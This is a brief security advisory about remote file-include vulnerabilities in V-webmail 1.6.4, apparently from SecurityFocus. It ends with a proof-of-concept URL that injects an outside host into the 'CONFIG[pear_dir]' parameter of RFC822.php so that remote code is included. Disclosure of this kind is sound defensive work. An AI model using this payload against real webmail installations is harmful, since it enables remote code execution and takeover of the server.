source: http://www.securityfocus.com/bid/30162/info

V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Mail/RFC822.php?CONFIG[pear_dir]=http://www.example2.com